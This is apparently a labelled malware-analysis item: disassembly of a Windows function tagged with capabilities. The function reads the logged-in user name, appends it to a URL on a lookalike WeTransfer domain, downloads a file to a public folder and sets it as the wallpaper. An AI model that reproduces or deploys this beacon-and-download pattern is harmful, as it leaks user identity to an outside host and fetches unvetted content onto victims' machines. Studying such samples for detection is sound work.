Function at 0x140001230
Capabilities:
Change the wallpaper
Download url
Get session user name
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
xor r14d, r14d
mov dword [rsp + 0x50], 0x100
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x30]
call fcn.140001590
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x33
jb 0x140001331
lea rax, [rcx + 0x33]
mov qword [rdi + 0x10], rax
mov rsi, rdi
cmp rdx, 8
jb 0x1400012bb
mov rsi, qword [rdi]
lea r8, [rcx + rcx]
lea rax, [0x1400033f6]
lea r15, str.https:__wetransfer.numerique_ccspsl.com_m.jpg_name
cmp rax, rsi
jbe 0x1400012f0
lea rax, [r8 + rsi]
cmp r15, rax
ja 0x1400012f0
cmp rsi, r15
ja 0x1400012e5
mov rbx, r14
jmp 0x1400012f5
mov rbx, rsi
sub rbx, r15
sar rbx, 1
jmp 0x1400012f5
mov ebx, 0x33
lea rcx, [rsi + 0x66]
add r8, 2
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
add rbx, rbx
mov r8, rbx
mov rdx, r15
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rsi]
mov r8d, 0x66
sub r8, rbx
lea rdx, [r15 + 0x66]
add rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140001348
mov ebx, 0x33
mov qword [rsp + 0x28], rbx
mov edx, ebx
mov rcx, rdi
call fcn.1400016d0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], 7
mov word [rdi], r14w
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x1400013bd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400013b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400013b8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400018dc
movdqa xmm0, xmmword [0x140003510]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r14w
lea rdx, str.C:UsersPublicPicturesdownloaded_image.jpg
lea rcx, [rsp + 0x58]
call fcn.140001590
lea r8, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae r8, qword [rsp + 0x58]
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 8
cmovae rdx, qword [rsp + 0x78]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x140001445
lea r8, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae r8, qword [rsp + 0x58]
xor edx, edx
lea ecx, [rdx + 0x14]
lea r9d, [rdx + 3]
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
lea rcx, str.Wallpaper_set_successfully__n
call fcn.140001010
jmp 0x140001453
mov edx, eax
lea rcx, str.Failed_to_download_the_image__Error_code:__08X__n
call fcn.140001010
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x140001498
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001493
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001493
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400018dc
movdqa xmm0, xmmword [0x140003510]
movdqu xmmword [rsp + 0x68], xmm0
mov word [rsp + 0x58], r14w
mov rdx, qword [rbp - 0x70]
cmp rdx, 8
jb 0x1400014f0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400014eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400014eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400018dc
xor eax, eax
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.140001880
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret